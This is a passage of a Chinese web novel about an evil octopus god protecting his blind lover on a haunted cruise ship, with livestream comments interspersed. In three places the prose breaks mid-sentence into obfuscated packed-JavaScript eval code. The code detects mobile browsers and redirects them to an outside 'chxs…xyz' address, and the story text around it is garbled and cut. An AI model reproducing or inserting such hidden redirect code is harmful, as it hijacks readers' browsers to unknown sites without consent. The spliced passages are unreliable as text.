塔尔斯低头,看看被某一根触手掏了个大洞的地板,再看看抓着木板装死的某触手,和楼下那房间的诡异对上视线后,要脸的邪神果断选择了灭口。 一激动就给房间搞了个大洞的黑历史还是只他一个知道的好。 灭口后不肖一秒塔尔斯就后悔了,应该让那诡异把洞填上再灭口的! 这地上这么大一个洞,属实是碍眼。 就在塔尔斯烦闷时,有一根触手晃晃悠悠飘到他眼前晃了晃,【抓,咕噜。】 闻言,塔尔斯眼睛一亮,对啊,这游轮上诡异那么多,他随便抓一个不就好了,不说其他,隔壁房间就有现成的不是? “你,去。” 去干什么塔尔斯并没说,但跟他一同诞生的意识哪还有不知道,只略一摆尾就朝隔壁房间冲去,穿墙去——穿墙来。 看着地上穿着辣眼的诡异,塔尔斯闭了闭眼,耐下立马杀了他的性子道:“补上。” 睡梦中突然被抓来的诡异哆哆嗦嗦问道:“大、大人,请问补……补什么?” “地板。” 地板?那诡异低头,透过地板上的大洞看见下面死状凄惨的诡异,打了个寒颤,身体抖的更厉害了。 “是是、是!这就补!” 为了快速补完地板离开,那诡异也顾不得今天穿着的是他最喜欢的人皮了,撩起衣服撕下腹部的人皮按到地板上,又用诡力催化,不一会功夫,地板被补好。 不看塔尔斯触手上还攥着的木板,根本就没人知道那地板破过。 诡异擦擦额头上冒出的冷汗,小声禀告道:“大人,补好了,我、我能走了吗?” “嗯,送他上路。” “不用、不用,我自己走就好,呵呵……自己……” 塔尔斯嫌弃地甩甩触手,蠢货,真以为是跟他说的话啊? “砰!嗡嗡——” 游轮突然剧烈的抖动起来,塔尔斯变大身形抱起躺在床上的宁小满飘到半空中,对半睁开眼睛面露疑惑的爱人道:“没事,睡吧,一点小风浪罢了。” 25.亡海游轮6 待到怀中爱人又迷迷糊糊睡去后,塔尔斯黑着脸暗道:解决个小东西闹出这么大动静,废物! 【自己、骂自己?】 塔尔斯反问:谁跟你们是自己? 一群随时可以泯灭重生的意识,配跟他相提并论? 【自傲鬼,栽坑。】 这话骂的,塔尔斯拧眉,盯着不服气乱晃的几根触手触手道:谁骂的,出来。 没触手应声,塔尔斯不耐烦,索性每个意识都抽一下,不站出来就以为他没办法是吧?殊不知他最会搞的就是连坐! 变成盲杖躲过一劫被忽视、真正骂人那个意识:庆幸。 游轮晃了大概半个小时才回归平静,在这期间塔尔斯一直抱着宁小满飘在半空中,以便不受到剧烈摇晃的游轮影响,只是触手到底比不得柔软的床铺。 塔尔斯垂眸看着不自觉皱起眉头的爱人,在游轮停止尽量前尽量变大身形,让爱人躺着的触手变粗变舒服,游轮停止摇晃后更是马上就将爱人放到了床上。 然后,就是等待出去搞事那个意识回来,左等右等……没等到。 刚想派个意识出去找找本体意识就被拉进了纯白的空间,看着和上次一模一样的场景,塔尔斯咬牙切齿从嘴里面挤出三个字:“老家伙!” “你违约了。” “呵,我没有!” “你出手了。” “只是一些小诡,杀不得?老家伙,你什么时候同情心这么泛滥了?” “你若想杀,大可杀其他怪谈的诡异,现今对外开放那些,你动不得。” 动不得?塔尔斯冷笑,“一些小诡,杀就杀了,反正影响不了你的布局,那些关键诡异,我可是一个都没动,而且比之之前,我已经够收敛了。” 祂控制着外显的光球变成和塔尔斯一般大小,随后飞到塔尔斯面前,绕着他飞了一圈,“你长心了?对,没错,你长心了。” “什么叫长心!我本来就有心!” “不,你本来没有。” 祂并没有说谎,塔尔斯之前确确实实是无心的,就算他化形的章鱼有三颗心脏也不代表身为邪神的塔尔斯有一颗心。 诚如人们所说,越缺什么就越向往什么,大抵是因为没心、没脑子,塔尔斯化形时才会在众多邪恶生物中选择了章鱼这个外在形象。 “你说没有就没有?你算个什么东西!” 在塔尔斯冷目凝视下,祂当真歪头想了想,然后给出了两个答案,“没有,我即世界。” 塔尔斯从这个回答中察觉出什么,这下子轮到他绕着祂飞一圈巡察了,巡察完明白了什么的塔尔斯冷静下来,飞到一边,好奇询问道:“你不是老家伙,老家伙去哪了?还有,你为什么和老家伙气息莫名相似?” 难不成老家伙被吃了?那简直是可以普天同庆阳…… “祂闭关去了,最近得到的能量有些多,需要消化,祂不老的。” 啧,普天同庆先靠边,得先弄清楚现在这个是个什么玩意,一个老家伙他可以打包票能干过,两个可就不一定了。 对塔尔斯来说弄清楚的方法也很简单,直接问,“你呢,又是什么?” 祂不解歪头,不明白一个问题为什么要问两遍,“说了啊,我即世界。” 塔尔斯:……邪门家伙。 看着对面整个球体都透露着无辜两个字的家伙,塔尔斯骂骂咧咧的用自己的力量撕了条裂缝出来,他堂堂邪神,不跟脑子有坑的家伙计较! 见塔尔斯要走,祂也不制止,只道:“下次不要杀诡异了,要不然我还要拉你来这里教训你,很累的。” 闻言,塔尔斯八根触手被恶心的差点打结,说话语气这么恶心,不愧是跟老家伙有着相似气息的球,打不过他就想着恶心死他! 意识回归主体,塔尔斯一个激灵从床上跳起来,跑到窗边对着下面就是一阵干呕。 虽然他没什么可吐的,但态度得拿出来! 塔尔斯冲到窗边干呕时天已经蒙蒙亮,早早睡觉的宁小满这时候本就处于将醒未醒的状态,听到床边的干呕声陡然惊醒。 摸索着坐起身,听出是塔尔斯的声音,抓过睡前放到床脚的外套披到身上,手刚探出床的范围,蓄势待发的盲杖就将自己送到了他手下,时间卡的刚刚好。 宁小满握着盲杖的手微顿,小声道谢:“谢谢。” 一如既往的没有回应,一如既往的手心被什么东西挠过,宁小满无声叹息,再次感叹:装就好好装,能不能不要半途而废啊! 翻身下床,脚试探性的找鞋,划拉了一圈没想到,随后宁小满突然想起,他昨晚是在沙发上睡着的,鞋自然不会在这边。 行吧,找不到就算了,地上铺着地毯,也算不得冷,就这样走到窗边也不是什么问题。 只是……为什么感觉脚下这块地毯的感觉和其他地方的不一样呢? 疑惑在心头划过,并没有留下什么痕迹,宁小满小步走到窗边,竖好盲杖,轻声唤道:“塔尔。” “呜——满满,你不知道,我快被恶心死了!” 除却刚开始装了大半天终于等到爱人过来的塔尔斯转身,面无表情的‘啜泣’着扑到宁小满怀中。 宁小满抱住扑过来的塔尔斯,转过身靠在墙上,手指从打结的触手中划过,边捋顺触手边出声询问道:“发生了什么?” 塔尔斯省略自己在游轮上干的坏事,小嘴不停将纯白空间中发生的事说了个遍。 宁小满听完歪头想了想道:“祂说我即世界?” “对!嚣张死了,我都没好意思说这大话!” “祂身上的气息跟之前那个不一样,是两个……存在?” “对!不过都不是什么好东西,咳——”塔尔斯吐出一口黑气,继续道:“一个精神上恶心我,一个口头上威胁我,还不回答我的问题!” 宁小满抚摸塔尔斯的手指微顿,神色微妙道:“有没有一种可能,祂已经说了?” “没可能!老家伙不是好东西,和他气息相同的也不是好东西,怎么可能回答我的问题!” 听着这幼稚的话语,宁小满莫明幻视自己养了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044439|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子。 “祂说祂即世界,诡异们众所周知,所在的世界叫怪谈世界,但是在人类世界祂还有一个别称,规则怪谈。” 宁小满一点一点帮塔尔斯捋顺两者之间的关系,“将规则怪谈拆分开来,分为规则和怪谈,昨天晚上那个,祂说祂即世界,祂就是怪谈,之前那个,则是规则,组合在一起就是规则怪谈。” 这个解释最合理、最接近现实,塔尔斯接受,但…… “甭管说什么,都一样的欠揍!有机会,我一个都不会放过!” “你啊你,”宁小满无奈轻戳塔尔斯的头,“刚才又被电了,就不能老实一会?” “哼,区区一丁点电,想让我老实,不可能!” “不过……满满你怎么知道我又被电了?”他刚才没出声啊? “我闻见焦味了。”宁小满没说,这股子焦味里面还掺杂了点烤章鱼的香味,就、撒上点孜然就能开吃的感觉。 “那我去外边游一圈,等身上的焦味散干净就回来。” “嗯,去吧。” 得到允准,塔尔斯方才顶开窗户出去。 随着塔尔斯的离开,他展开的幻象也随之溢散,当然,他在这里也会溢散就是了。 本就只出了维系到早晨的力量,现下到了时间,那点子力量被消耗殆尽,自是再榨不出半点。 —— “不是在床上睡觉吗?怎么嗖的一下就闪现到窗边了?” “三星也不见了。” “床边那处地毯也不一样……” 王宾注意到这几条言论,摆摆手示意一边的人发几条无用言论将这几条刷上去。 杨凌一边发弹幕一边问道:“部长,这情况,咱们不给天选者发个消息问问吗?发弹幕顶别人的评论、网络上一直戒严总不是个事啊。” “问?”王宾哼笑一声,“语气好点问还是语气差点问?” 杨凌挠挠头,“就不能正常问?” “你这边是正常了,那边可不以为正常,行了,我一会去要几个新人过来专职盯着这个,你就代劳一会,后续发展不需要你操心,这事不要再提。” 王宾说完起身理了理衣服下摆,转身出了拨给他们使用的大会议室,走进不远处的厕所,打开水龙头洗了下手,想了想又摘下眼镜洗了把脸。 理是那么个理,这谁都知道,但怪谈世界中的诡异会和他们讲理吗? 天选者身边跟着个‘邪神’的事所有人都知道,大部分人认为帮了他们的就是个好邪神,但仍有小部分持保留意见,不巧,他就是那个小部分的。 邪神片刻不离天选者身,又能听懂人话,这边说什么那边立刻就能知道。 审核告知天选者的稿件时,王宾那提起的心就没放下过,唯恐说了什么不该说的引起邪神对人类世界的向往,现今……唉——只能说是走一步看一步。 —— “满满,一会那诡异会想办法骗你出去,别怕,跟着他出去,咱们……” 塔尔斯眼中闪过一抹戏谑,“去看个好东西。” 26.亡海游轮7 宁小满不解歪头,“你怎么知道一会有人来骗我出去?” 塔尔斯轻咳一声,又端起了他的邪神范,“因为邪神无所不知、无所不能。” 附属意识们不忿:什么无所不知、无所不能,骗子,明明是他们几个帮忙推演出来的! 宁小满也不反驳,而是顺着他道:“那无所不知、无所不能的邪神大人,能告诉我今天早上送来的饭菜有我喜欢吃的小笼包吗?” “咳,你这事太小了,不归邪神管,不过你要是求求伟大的邪神,他可以直接赐予你一份你喜欢吃的小笼包。” “哇~那提前谢谢伟大的邪神了。” 塔尔斯撇撇嘴道:“狡猾,只道谢都没有求。” 宁小满充耳不闻,只是一味笑着。 见他这样,塔尔斯大气的一挥手,“算了,不和你计较,等着。” “三、二、一……闻闻!是不是你在上个怪谈最喜欢那家?” 宁小满耸起鼻尖轻嗅,闻到熟悉的味道脸上闪过一抹诧异,他刚才只是顺着开玩笑,没想到真的会有…… “怎么弄到的?” “都说了邪神无所不能,”塔尔斯在爱人无神双目的注视下,撇撇嘴无奈道:“好吧好吧,我老实交代,开了道空间裂缝去他们后厨拿的,不过我付了钱的,双倍!” “噗嗤——”宁小满笑开,捧起飘在身前的塔尔斯连带着那份小笼包,“谢谢,我很喜欢,一起吃吧。” “不要……” “我知道,mua!” “咳,其实除了小笼包,我还拿了你喜欢吃的水果粥和玉米。” 宁小满微愣,脸上笑容再度扩大,“那很好了。” “行了,吃饭吧,一会还要干活呢。” 宁小满后撤身子避开嘴唇上的包子,小声道:“还没洗漱,洗漱完再吃。” “去吧。” 宁小满洗漱的功夫塔尔斯将拿来的早餐摆了满桌,摆东西的同时还不忘竖起一只耳朵听洗手间那边的动静,就怕爱人摔倒了自己不知道。 要说今天早上塔尔斯为什么会开空间裂缝去其他怪谈拿吃的,也很简单。 一呢,是因为一会送的餐肯定是不能吃了,现不吃就没什么时候能吃的了,他对爱人没什么要求,想干什么就干什么,但天塌了也要吃饭,他家满满本来就瘦,再不吃,都要成人干了! 二嘛,则是因为早有预谋,游轮上的伙食不好,一直吃肯定不是办法,改善伙食不过是迟早的事。 思绪发散间身边飘来熟悉的香味,塔尔斯卷起一根玉米递上,趁宁小满低头乖乖啃他塞过去的玉米时,又走到床边摇了摇铃。 刚吃完饭外边就响起了敲门声,时间卡的刚刚好。 “咚咚咚——因昨天晚上游轮储存食物的地方破了个洞,导致游轮食物储备不足,是以从今天开始顶层取消送餐服务,如需用餐,请您开门和我前往船下餐厅用餐。” ‘呵呵呵——船长的走狗,那人类完了。’ ‘啊~船长动手了,真想分一杯羹。’ ‘算算我也有百年没吃过新鲜的人肉了,不知道这次能不能……’ ‘咕嘟!饿、想吃~’ 顶层其他诡异站在门口透过猫眼看着走廊上站着的诡异,私底下用着诡语小声诉说着自己的欲望。 ‘那人类邪门,送餐诡来了两只都被杀了,不知道走狗应付不应付的了。’ ‘那人类但凡有点戒心都不会出去,游轮储备不足的谎话也就够偏偏小诡……哦不,小诡都骗不到,哈哈哈,咱们诡异都没发生哪来的小诡。’ ‘别发疯,哎——快看!那人类开门了。’ ‘这人类怎么看上去像个瞎子?’ ‘不是看上去,而是就是。’ ‘杀送餐诡的是他?他有那个实力?’ ‘不信,嘿,刚才说话那个,你去试探一下呗?’ ‘我不去,万一他是装的我不就死了嘛!’ ‘哎哎哎,别说了,那人类被带走了,唉~好不容易来个人类,却连个渣都分不到,伤心呢~’ ‘啧,可惜啊可惜……原来不能吃闻闻肉味也算是解馋,现在倒好,什么都没了。’ ‘……他是天选者,可以复活的。’ 闻言,本来有些静默的气氛再次被点燃,那些方才不曾出声的诡异也插了进来。 这些讨论的热火朝天的诡异并没有发现,他们没说一句话自己房间角落就有一抹红光闪过。 船员四引着宁小满朝下层走去,期间顾忌着宁小满看不见还特意放慢了步调,只是步调放的再慢,二十分钟也够他们到达底仓了。 自打一踏入底仓,鼻尖就始终萦绕着一股木板发潮的味道,宁小满皱着眉头握紧了手中的盲杖、抱紧了怀里面的塔尔斯,这是在怪谈世界唯二能够给予他安全感的。 “满满不用怕,没什么危险的。”里面的意识早已经被他偷梁换柱换成了自己的,就算是猛地被推进去也不会摔倒在地,只会陷入他的触手之内。 因着前方还有一个引路的人在,宁小满并不方便说话,只抱着塔尔斯的手轻动,以表示自己知道的。 “到了,里面就是餐厅,”船员四低眉顺目的打开面前的铁门,克制着不朝内看,“请进。” 宁小满点点头,盲杖敲打着前进,“谢谢你带我来这,辛苦了。” 听到道谢,船员四一愣,头旋即低的更深了,像是在克制着些什么。 克制着克制着到底没忍住在错身而过时开了口,“如果您相信我,那么您就不应该继续前进,转身就走才是正解。” “什么?” “……离开,离开这里、离开这艘游轮。”船员四像是告诫又像是自言自语着道。 “这是海上,除了游轮,没有落脚点。” 见两人聊了起来,塔尔斯有些不满的用触手拍宁小满的脸颊,当然,是收了力的。 “不许聊,进去,满满,你再聊我就要生气了咕噜!” 宁小满低头蹭了蹭塔尔斯的脑袋,顺带着在他头上亲了一口,很明显的安抚意味,塔尔斯承了,但他不认,只一个劲的闹腾。 就这样僵持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048392|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大概一分钟,也没听到船员四继续说话,宁小满垂眸叹气,“再见。” 目送宁小满踏入门内,本应立刻关门的船员四怔愣着吐出两个字:“有的。” 没错,有的,这座海上除了这艘游轮,还有一处可以落脚的地方,他的家乡,那是一座孤岛,不小,足够一个人活下去,但很偏僻、外加上面什么都没有。 去了就相当于把自己关进了一座监狱,一座足以把人逼疯的监狱。 这人自我介绍时说过,他是一个国家的王子,有家人,往西一个月就能回家过上锦衣玉食的生活,去那里无疑是自寻死路…… 门在身后被关上,宁小满并没有听到那声极底的呢喃,只是有些奇怪船员四的表现。 “不知道为什么,总感觉他和机械,跟他谈话,就好像拿着关键词触发程序。” “正常,像这种大型怪谈,老家伙会捏造几个专门用来推进游戏进程的家伙,也就是人类所说的NPC。” “这样啊,那就难怪了。” 塔尔斯勾头往下看,“满满,地上有线,把脚抬高点不要被线缠到了。” “好,”宁小满抬脚跨过地上的线,“还有吗?” “没了,接下来直走就行。” “嗯,话说回来,塔尔,咱们为什么要来这里啊?” “发现了个好东西。” “好东西?” “嗯,虽说不算是特别好的东西吧,但也能玩一玩,主要是水属性的,还有一定塑形能力,说不定对你用处。” 宁小满抿抿唇道:“不用对我这么上心的……” 因为他对塔尔斯就没有那么上心,每次塔尔斯对他的上心程度都会让他生出一股我不配的感觉,他们两个付出的完成不成正比啊—— “我就你这么一个爱人,上心是肯定,再说了,这要说上心就不上心了,满满肯定要怀疑去变心了,对吧?” “我才没有那么小气。” “没有吗?”塔尔斯游到宁小满脸前,好奇问道:“真的、真的没有吗?” “……嗯。” “骗子,心里面酸涩感都快把我淹死了还嘴硬,”看出宁小满要反驳,塔尔斯便特意赶在他前面道:“不说这些了,到地方要干正事了!” 据他观察,甭管之前说了什么,只要一说到正事,他家满满都会乖乖按他说的做。 果不其然,这次也不出意外,听到他说要干正事了,满满张到一半的嘴瞬间闭上,乖巧的停下脚步站在原地不动了。 塔尔斯两只触手捂住大概是腰肢的部位,嘴角咧的老大,一副笑的要抽过去了的模样,偏偏整个过程没有发出一点声音,跟演哑剧一样。 做够了模样,塔尔斯恢复正常,拨弄了一下爱人白嫩的耳垂道:“我去把那东西拿过来给你看看,你站在这里别动。” “好。” “乖。”塔尔斯拍拍爱人的头,噙着笑转身游走。 五米远的地方蹲着一团透蓝色大号果冻,看见这一幕流着口水想道:这就是那个祭品人类吗?看上去好香、好香…… 27.亡海游轮8 祭品? 感知到他脑海中一闪而过想法的塔尔斯冷笑,这是他的祭品新娘,这团意识什么档次配跟称他的新娘为祭品? ‘果冻’盯着宁小满正流着口水突然感觉身上一凉,惊的他左右看了两眼,没发现什么不对后,拖着昨天被打伤的身体就要朝停在那里不动了的宁小满挪去。 他想:现在的祭品真是越来越不懂事了,走到一半就不动了,不像之前,都会主动走到他嘴里面的。 想完,他看向这次比之其他祭品好上不止一个档次,又想:不过也没关系,就如美人在人类世界总有特权一样,好的祭品在他这里也有特权,他愿意走向他,然后张嘴吃了他…… “死!” 不是空喊,亦不是预告,而是宣告,宣告他的死亡。 塔尔斯凝视着失了生机的水魄,内心中没发泄出来的怒火攒动着、灼烧着他的理智,让他很想、很想就这么毁了这里。 说实话,一个邪神并不好样,众所周知,好吧,也不算是众所周知,但有了解过的都知道,邪神这一群体,脾气都不怎么好。 想养一只的话,你就要做好他拆家的准备,或大或小、永无止境的拆家。 塔尔斯之前没拆过自己居住的地方,但建在他周边的怪谈和城市却都被他拆过不知几遍。 他发怒向来是没什么预告的,单看想与不想,现在,他就很想……但,不能。 塔尔斯扭头看向乖巧站在原地等他的爱人,深吸一口气,将躲在一边偷偷摸摸瞅他一晚未归的一个附属意识收回,随后低头看向地上的冰魄尸体,缓缓降落。 两只触手挖了一团人头大小的冰魄,诡力筛选一遍,去除杂质,塑形…… 不出意料的,塑形失败了。 塔尔斯盯着变成一摊烂泥的冰魄,眼神冷的能射出一把冰剑,他不就想捏一个和他一样大小形状的小章鱼嘛,为什么不行! 呼——不生气不生气,第一次难免出点差错,再来! 一次、两次、三次……大概200多斤的冰魄尸体在塔尔斯手中飞快消逝,通通化作了一边道烂泥废料。 听着远处愈发浓重的呼吸声,宁小满疑惑不解并想上前查看,但他怕塔尔斯在跟其他东西打斗,贸贸然上前打断塔尔斯让他受伤。 “嗷嗷嗷!烦死了!为什么不行!”塔尔斯烦躁的盯着仅剩的一块冰魄,再不敢随意动手。 转身一路飞奔扑到宁小满怀中,开口就是告状:“满满,那具尸体他欺负我!” “嗯……塔尔,你……”宁小满脸上写满了一言难尽的无奈。 拜托,能不能听听自己到底说了什么啊,尸体欺负你,我请问呢,一具尸体怎么欺负你? 等等…… “那具尸体能动吗?” “不能啊。” 平静脸,“那他怎么欺负你?” “我想用它做手工,但总塑形不好,一定是它不想被我用才……” 宁小满听不下去了出声打断道:“塔尔,先停一下,你的意思是说你刚才在玩尸体?” 塔尔斯后知后觉玩尸体在人类世界中一件很不道德的行为,而且略有些血腥。 沉默两秒,塔尔斯慌忙找补道:“咳,水灵死亡后留下的尸体是冰魄,不脏的,相反,他还是容纳灵魂的好材料,是绝佳的食材保险……不是,是绝佳的附体材料,在如今的怪谈界差不多已经绝迹了,这里有也是我没想到的事,一时兴起我才……哎呀,总而言之,不脏的!” 也不血腥! 叽里咕噜一大堆,宁小满听了个一知半解,单手抱着塔尔斯曲腿坐下,“你想用他的尸体做什么?” “容器。” “和我有关吗?” “有。” “遇到了什么难题?” “塑形一直不成功。” 宁小满沉默两秒后提出灵魂质问:“不可以不塑形吗?” 塔尔斯则是恍然大悟的抬头,“对哦,还可以不塑形!” “嘿嘿,再等我一下下,马上回来。” 这智商,也是没救了,换到人类世界,怕是不用棒棒糖都能骗走吧?宁小满理了理袖子面无表情的想道。 “铛铛铛——我回来啦!满满,伸手。” 宁小满下意识听从,双手平摊伸出,不待反应什么,手上一沉,随后一股凉意从手心直冲脑门,想必他现在捧着的就是一块冰魄,也是一块……尸体。 尸体两个字刚想完宁小满脑子还没转过来弯身体就已经有了反应——想吐。 “材料就位,接下来就看我的啦!” 塔尔斯没注意到爱人的不舒服,触手隔空虚虚点在爱人眉心,嘴中吟唱起记忆中最为安全的一种灵魂转移咒语。 伴随着咒语的吟唱,宁小满周身开始出现触手,不是变化过的紫色,而是塔尔斯诞生起就拥有的红色。 红色的触手无根无尽,从虚空中奔涌而出簇拥着他们的人类爱人,连带着那团小小的冰魄一起。 触手四散飞舞,塔尔斯眼中红光鼎盛,虚空中的触手自身能力也散发着淡淡红光,在一片红光中,最为耀眼的要数中心那抹白光。 白光的来源正是宁小满,再说说说他现在的感受吧,就还挺好的,听不真切的吟唱从左耳朵进右耳朵出,没在脑海中留下什么痕迹,反而来带着带走了身体上的不舒服。 而且很暖和,自打刚才踏进那扇门,周身就一直萦绕着若有若无的阴冷感现在荡然无存,浑身上下充斥着暖意,就好像……就好像回到了羊水中一样。 不是说真的羊水,而是那种感觉,就好像回到了尚未出生在这世界上只与一人有联系、只那一人全权掌握,肯定绝不会被伤害的安全感与在母体中类似。 ——(同步观看但不平静的观众) “啊啊啊——” “你们这是干啥呢?这是干啥呢?我问你们这是干啥呢!” “不儿,就这么水灵灵的灵魂离体了?啊?” “甜甜蜜蜜小甜文转玄幻,这世界果然是疯了。” “呵、呵呵……这要是弄到现实换成特效拍出来,怕是会贵到破产吧?” “这完了灵魂能安回去不?就这么嘎了有点窝囊啊。” (虚空中触手突然出现在直播间内) “操!什么玩意?闪的去眼睛都要瞎了。” “不能睁眼,完全不能睁眼,睁眼就感觉眼睛要瞎了,打字都只能盲打。” “一闪而过的啥玩意,怎么感觉有点像是触手? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052299|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” —— 看看表情安然没有失去呼吸的爱人,再看看半空中漂浮着的灵魂,塔尔斯游过去碰了碰爱人的灵魂,很温暖,甜甜的,让他很想咬一口,不过还能克制。 塔尔斯克制的咽了咽口水,从空间中掏出昨天晚上就找好的冰床,变大身形将爱人的身体抱起平放在上前,又牵引着半空中的灵魂进入爱人手中捧着的冰魄上。 做完一切,塔尔斯便一边观察冰魄一边静静等待着爱人苏醒。 冰魄一开始是漂亮的浅蓝色,在宁小满的灵魂进入后就变了颜色。 淡淡的乳白色,像之前满满喂他吃过的奶糖。 果冻一样的冰魄随着时间的流逝泛起涟漪,小手、小脚,以及类人的五官…… 虚空中的触手蠕动着、盘旋着爬满不大的室内,仅在冰床前面留出一米的空地,那是为本体留下的落脚点和一会爱人即将踏足的地方。 至于冰床背部,蜿蜒攀附着几根触手,不多,留有余地,但也算不得少就是了。 半个小时后,宁小满迷迷糊糊醒来,想坐起身却发现根本就动不了,想抬手,却发现自己根本就感觉不到手的存在,想说话,哦,这个倒是可以。 “塔尔,你在吗?” “我在,我当然在。” “我……我感觉不到我的胳膊和腿了,你能帮我看看怎么回事吗?” “唔,帮忙的话,不太可以。” 宁小满还来不及失望就听塔尔斯接着又道:“因为满满可以自己看。” 自己看?自己怎么看,他根本就看不见啊! 看着因为生气而乱晃的小白团子,塔尔斯整个章鱼都快热炸了——被萌的。 不过萌炸之前得把正事干了,触手又快又狠的戳进眼窝,掏出两个眼球出来,眼球被挖出来时不带一丝血迹,即使被触手卷着还在左右晃动,很明显是第一次脱离主人的身体有些不习惯。 不过也没让它不习惯很久,因为它很快就进入了一个新的身体。 宁小满气鼓鼓的站在原地不知道什么情况,突然感觉眼睛……大概是眼睛的位置一疼,然后他就可以看见了,说是看见也不正确,因为视线范围内除了清晰的各种物体还笼罩着一层层黑雾。 猛地看见这么一幕吓得宁小满整个团子瞬间僵直,一时间被自己突然能看见,而且看见的东西还如此诡医给吓住了,身体上散发着乳白色光晕都可以一闪一闪,像是随时会熄灭一样。 感受到他内心的恐惧,想到自己眼睛的特殊,塔尔斯缩小成人脑袋大小,两只触手张开将白团子纳入怀中轻声安慰道:“别怕别怕,不是什么吓人东西,心里面想着事物的本质,努力忽略那层黑雾就好。” “我为什么突然能看见了?为什么感觉不到我的手脚了?那层黑雾是什么?情况为什么会变成现在这样?”宁小满闭着眼睛问道。 “满满,你是十万个为什么吗?” “不是,回话!要不然……要不然不理你了!” 塔尔斯从空间中掏出一面巨大的镜子放到一边,让开身子歪头示意宁小满去看,“看完你第二个疑惑应该就能解决了,其他的,等回了房间,你我慢慢说。” 这又脏又乱,属实不是什么说话的好地方。 28.亡海游轮9 宁小满看着镜子中被黑气笼罩的自己,愕然失语,他这……这…… 他这是变了个物种? 他承认,刚才确实有回到母体中的感觉,但真不至于给他重塑个身体啊! 要不是塔尔斯一直在他身边,他真是要怀疑他和小说中说的那样——穿越了。 等等,他身下是? 他的尸体、啊呸,是他的身体! 宁小满不怎么熟练的操控着新身体爬到原来身体的鼻下,整个栽倒,感觉到鼻下有空气流动方才算是松了一口气。 还好还好,没死,还有气,不过这到底是怎么回事? 他的意识在一个新身体里苏醒,但同时他之前的身体也没有死亡,是塔尔斯做了什么吗? 想着,宁小满将目光挪向塔尔斯,见爱人终于看自己了,塔尔斯撇撇嘴,一挥手,周围游动的触手包裹住他们两个开启了短距离传送。 “回房间再说。” 回到房间后,虚空中探出的触手消失不见,独留塔尔斯和宁小满面面相觑,哦,还有躺在冰床上呼吸平稳的身体。 —— “我、他们、啧……” “有懂行的没?出来说说呗。” “三观尽毁,急需道士出手。” “叽里咕噜说啥呢里面?有懂章鱼语的没,出了个。” “道士也没办法解释这事吧?” “章鱼语,呵,到底是太小众了(抬头望天)。” “不儿,我泱泱大国,就没个懂章鱼语的?我不信!” “有啊,这不正给你直播呢么。” “……你有理。” —— “突然能看见是因为我把我的眼睛给你了,感觉不到手脚的原因你自己刚才看见了,一是太短,二是新身体不熟练,你看到的那层黑雾是诡气,我眼睛特殊,你用了我的眼睛,所以才能看见,至于情况为什么会变成这样,显而易见的是因为我。” 听完塔尔斯的解释,宁小满开口的第一句话是:“你眼睛给了我,你怎么看东西?” 塔尔斯闻言一愣,没想到听到的居然不是擅作主张的质问而是关心,嘴角克制不住的上扬,声音因为开心都夹了起来,“我没事哒,满满忘了?我之前说过,我自愈能力很好,你看,新眼睛已经长出来啦!” 因着黑雾遮挡,宁小满不得不让塔尔斯靠近一些,凑得极近方才看清楚塔尔斯眼眶中确确实实存在一双眼睛,只是不知道是不是他的错觉,总感觉这双眼睛上像是蒙着一层什么。 “你这双新眼睛,能看见吗?” “可以啊,满满不相信我?” “没有,我就是担心……” “那就是不相信我!哼,我要生气了,居然质疑无所不能的邪神大人!” 宁小满心中还有疑虑,但塔尔斯的胡搅蛮缠让他不得不集中精力应对,心中那丝疑虑自然而然的就压了下去。 “不是不相信你,只是之前我看不见,所以知道看不见的感觉,我、我就是害怕,害怕因为我能看见连累你看不见,如果这样,倒不如我看不见。” “哎呀,放心啦咕噜,一双眼睛而已,难不倒伟大的邪神的!” “好的,伟大的邪神,不说眼睛问题了,说说为什么要把我变成现在这样吧。” 说到这个,塔尔斯心虚的轻咳一声,他能说他只是一时兴起吗?那肯定是不能,说出来怕是爱人立马变敌人。 眼睛一转,有了,塔尔斯掩下心虚,两只触手将宁小满抬起放到头顶,顶着他将冰床连带着他的人类身体送回老巢,仗着这样看不见他的表情,毫不掩饰地开始扯谎。 “这个副本精神污染太多,对人类身体影响很大,就算是一条规则都不触犯,在这里住半个月也会因为同化而死一次,我把你变成这样,我为了抵抗无时无刻都存在的精神污染啊满满!” “真的?” 塔尔斯诚恳道:“真的!如假包换!” 嗯,这个谎被拆穿了他就换一个,甚至他还可以假一赔十。 宁小满想双手环胸让自己看起来有气势一点,然而还没有常人小拇指长的两条短胳膊根本就碰不到一块,他闭上眼睛不看视线内充盈的黑气,同时也盖住了一双眸子中的无语。 